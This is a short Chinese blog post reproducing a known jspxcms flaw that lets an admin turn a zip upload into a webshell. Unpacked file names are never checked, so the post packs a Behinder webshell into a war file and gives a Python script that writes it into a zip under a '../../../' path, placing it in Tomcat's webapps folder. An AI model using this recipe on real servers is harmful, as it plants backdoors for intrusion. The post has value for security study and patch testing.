0%

复现jspxcms解压getshell漏洞

记录一下,下次碰到可以用

事情的起因是看到了安全客上安全狗海青实验室的一篇文章
https://www.anquanke.com/post/id/188788
文章中有些点写的不是很清楚,复现的时候踩了坑,重新记录一下过程。

漏洞的成因和条件:
1.需要管理员权限登录后台
2.虽然能上传任意文件,但在JspDispatcherFilter.java限制了对jsp文件的访问

3.后台还可以上传zip文件,上传后会自动解压,问题出现在WebFileUploadsController.java里的unzip方法,调用了下层方法却没有进行文件名检查,导致目录穿透。
4.上传的文件默认会在tomcat目录\webapps\ROOT\uploads\1\下,但构造压缩包可以使上传的文件穿到\webapps下,不会受JspDispatcherFilter的约束
5.因为无法直接访问\webapps里的jsp,所以需要上传包含马的a.war包,解压到webapps里从而部署后门到文件夹a中
这里用冰蝎马生产war,把shell.jsp和jar.exe放至同一目录下

1
jar.exe cf shell.war *

6.原文中使用好压创建一个恶意压缩包,再把后门war包拖入,这里有个坑。我使用的bandzip会把../../../解析成__ / __ / __ /,直接拖war包就失败了,所以选择脚本写入

1
2
3
4
5
6
7
8
import zipfile

z = zipfile.ZipFile('test0.zip', 'w', zipfile.ZIP_DEFLATED)
with open('test.war','rb') as f:
temp=f.read()

z.writestr('../../../shell.war',temp) #shell.war为上一步生产的后门war包
z.close()

7.上传,解析成功